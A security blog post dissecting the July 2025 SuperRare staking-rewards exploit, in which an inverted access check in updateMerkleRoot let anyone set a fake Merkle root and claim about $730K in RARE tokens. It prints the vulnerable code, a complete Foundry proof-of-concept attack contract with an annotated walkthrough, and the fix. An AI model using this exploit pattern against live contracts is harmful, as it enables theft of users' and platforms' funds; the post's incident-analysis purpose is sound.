Skip to content

SuperRare Hack: A $730K Lesson in Smart Contract Logic Errors

On July 28, 2025, the SuperRare platform, a popular marketplace for digital art and NFTs, fell victim to an exploit that drained approximately $730,000 worth of RARE tokens from its staking rewards distributor contract. This incident highlights the critical importance of rigorous code reviews and access control in smart contracts. Let’s dive into what happened, how the attack unfolded, and the key takeaways for the DeFi and NFT communities.

SuperRare Hack

Background on SuperRare and the Staking Contract

SuperRare is an Ethereum-based platform that allows artists to mint and sell unique digital artworks as NFTs. To incentivize community participation, it offers a staking mechanism where users can lock up RARE tokens (the platform’s native governance and utility token) to earn rewards.

The vulnerable component was the RareStakingV1 contract, deployed at address 0xffb512b9176d527c5d32189c3e310ed4ab2bb9ec, which handled the distribution of staking rewards using a Merkle tree for efficient claim verification.

The contract interacted with a proxy at 0x3f4d749675b3e48bccd932033808a7079328eb48, allowing upgradability. Rewards were claimed based on a Merkle root, which served as a cryptographic proof to verify user entitlements without revealing the entire dataset. However, a subtle but catastrophic flaw in the contract’s access control turned this system into an open door for attackers.

The Vulnerability: A Logic Flaw in Access Control

At the heart of the exploit was the updateMerkleRoot function in the RareStakingV1 contract. This function was designed to update the Merkle root, a sensitive operation that should only be performed by authorized parties, typically the contract owner or a designated address.

Here’s the problematic code snippet:

function updateMerkleRoot(bytes32 newRoot) external override {
    require((msg.sender != owner() || msg.sender != address(0xc2F394a45e994bc81EfF678bDE9172e10f7c8ddc)), "Not authorized to update merkle root");
    if (newRoot == bytes32(0)) revert EmptyMerkleRoot();
    currentClaimRoot = newRoot;
    currentRound++;
    emit NewClaimRootAdded(newRoot, currentRound, block.timestamp);
}

The require statement was intended to restrict access, but the logic was inverted. Using != operators combined with || meant the condition evaluated to true for virtually any msg.sender, as long as it wasn’t simultaneously equal to both the owner and the hardcoded authorized address (which is impossible). This effectively bypassed the authorization check, allowing anyone to update the Merkle root to an arbitrary value.

This bug likely stemmed from a simple typo, probably meant to be == instead of !=, but it had massive consequences. This incorrect permission check enabled unauthorized modifications, turning the contract into a free-for-all for claims.

How the Attack Unfolded

The attacker, operating from address 0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2, executed the exploit in a single transaction on July 28, 2025, at 08:21:59 AM UTC (block 23016423). The transaction hash is 0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1.

Here’s a step-by-step breakdown:

  1. Deployment of the Attack Contract: The attacker created a malicious contract at 0x08947cedf35f9669012bda6fda9d03c399b017ab. This contract was designed to interact with the SuperRare staking proxy.

  2. Updating the Merkle Root: Using the flawed updateMerkleRoot function, the attacker set a fake Merkle root (e.g., 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e). Since the access control was broken, this call succeeded without authorization.

  3. Claiming the Tokens: With the new root in place, the attacker called the claim function, providing an empty proof array and claiming the entire balance of the staking rewards pool, approximately 11.907 billion RARE tokens (valued at around $730,000 USD at the time). The tokens were transferred to the attack contract.

  4. Extraction: The stolen tokens were then moved to the attacker’s address. Notably, the exploit was limited to the rewards pool, and user-staked funds remained safe.

The entire attack was frontrun to ensure priority, and no ETH was transferred in the transaction itself, keeping gas costs low (around 5.7 million gas units).

Proof-of-concept code circulating in the community demonstrates how straightforward the exploit was: deploy an attack contract, update the root, and claim the funds.

Hands-On: Proof of Concept

To better understand how this exploit works, let’s examine a proof-of-concept implementation that demonstrates the attack step by step. This code shows exactly how an attacker could exploit the vulnerable contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// PoC: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2025-07/SuperRare_exp.sol
// @KeyInfo - Total Lost : 730K USD
// Attacker : https://etherscan.io/address/0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2
// Attack Contract : https://etherscan.io/address/0x08947cedf35f9669012bda6fda9d03c399b017ab
// Vulnerable Contract : https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1


pragma solidity ^0.8.0;

address constant ERC1967Proxy = 0x3f4D749675B3e48bCCd932033808a7079328Eb48;
address constant RARE_TOKEN = 0xba5BDe662c17e2aDFF1075610382B9B691296350;
address constant ATTACKER = 0x5B9B4B4DaFbCfCEEa7aFbA56958fcBB37d82D4a2;
address constant ATTACK_CONTRACT = 0x08947cedf35f9669012bDA6FdA9d03c399B017Ab;

// 1753690919
contract SuperRare is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 23016423 - 1;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = RARE_TOKEN;
    }

    function testExploit() public balanceLog {
        // deploy attack contract and etch it to ATTACK_CONTRACT address
        AttackContract acTemp = new AttackContract();
        bytes memory code = address(acTemp).code;
        vm.etch(ATTACK_CONTRACT, code);
        AttackContract ac = AttackContract(ATTACK_CONTRACT);

        uint256 stakingContractBalance = ac.getStakingContractBalance();
        console.log("stakingContractBalance", stakingContractBalance);
        // 11907874713019104529057960

        uint256 tokenBalance = ac.getTokenBalance();
        console.log("attackContract Balance Before", tokenBalance);
        // 0

        bytes32 fakeRoot = 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e;
        ac.attack(fakeRoot, stakingContractBalance);

        uint256 tokenBalanceAfter = ac.getTokenBalance();
        console.log("attackContract Balance After", tokenBalanceAfter);
        // 11907874713019104529057960
    }
}

contract AttackContract {
    function getStakingContractBalance() public view returns (uint256) {
        return IERC20(RARE_TOKEN).balanceOf(ERC1967Proxy);
    }
    function getTokenBalance() public view returns (uint256) {
        return IERC20(RARE_TOKEN).balanceOf(address(this));
    }
    function attack(bytes32 newRoot, uint256 amout) public {
        IERC1967Proxy target = IERC1967Proxy(ERC1967Proxy);
        target.updateMerkleRoot(newRoot);
        bytes32[] memory proof = new bytes32[](0);
        target.claim(amout, proof);
    }
}

interface IERC1967Proxy {
    function updateMerkleRoot(bytes32 newRoot) external;
    function claim(uint256 amount, bytes32[] calldata proof) external;
}

Step-by-Step Attack Breakdown

Let’s walk through exactly how this proof of concept works:

Step 1: Environment Setup

function setUp() public {
    vm.createSelectFork("mainnet", blocknumToForkFrom);
    fundingToken = RARE_TOKEN;
}
  • Purpose: Sets up a forked environment from the exact block before the attack
  • Why: This allows us to replay the attack in a controlled environment
  • Block: 23016423 - 1 (the block just before the actual attack)

Step 2: Deploy Attack Contract

AttackContract acTemp = new AttackContract();
bytes memory code = address(acTemp).code;
vm.etch(ATTACK_CONTRACT, code);
AttackContract ac = AttackContract(ATTACK_CONTRACT);
  • Purpose: Deploys the attack contract to the exact same address used in the real attack
  • vm.etch(): A Foundry cheatcode that allows deploying to a specific address
  • Why: This replicates the exact conditions of the real attack

Step 3: Check Initial Balances

uint256 stakingContractBalance = ac.getStakingContractBalance();
console.log("stakingContractBalance", stakingContractBalance);
// Output: 11907874713019104529057960 (≈ 11.9 billion RARE tokens)

uint256 tokenBalance = ac.getTokenBalance();
console.log("attackContract Balance Before", tokenBalance);
// Output: 0
  • Purpose: Verify the staking contract has funds and the attack contract starts empty
  • Staking Balance: Shows the total rewards pool available for claiming
  • Attack Balance: Confirms the attack contract starts with zero tokens

Step 4: Execute the Attack

bytes32 fakeRoot = 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e;
ac.attack(fakeRoot, stakingContractBalance);

The attack() function performs two critical operations:

4a. Update Merkle Root (Exploit the Vulnerability)
function attack(bytes32 newRoot, uint256 amount) public {
    IERC1967Proxy target = IERC1967Proxy(ERC1967Proxy);
    target.updateMerkleRoot(newRoot);  // ← This should fail but doesn't!
    // ... rest of attack
}
  • What it does: Calls the vulnerable updateMerkleRoot function
  • Expected behavior: Should revert due to access control
  • Actual behavior: Succeeds because of the logic error in the require statement
  • Result: The contract now accepts the attacker’s fake Merkle root
4b. Claim All Tokens
bytes32[] memory proof = new bytes32[](0);  // Empty proof array
target.claim(amount, proof);
  • What it does: Claims the entire staking rewards pool
  • Proof array: Empty array [] - normally this would fail Merkle verification
  • Why it works: The fake Merkle root allows any proof to be valid
  • Amount: The entire balance of the staking contract

Step 5: Verify the Theft

uint256 tokenBalanceAfter = ac.getTokenBalance();
console.log("attackContract Balance After", tokenBalanceAfter);
// Output: 11907874713019104529057960 (same as staking balance)
  • Purpose: Confirm the attack was successful
  • Result: The attack contract now holds all the tokens that were in the staking contract

The Fix

The correct logic should be:

require((msg.sender == owner() || msg.sender == address(0xc2F394a45e994bc81EfF678bDE9172e10f7c8ddc)), 
        "Not authorized to update merkle root");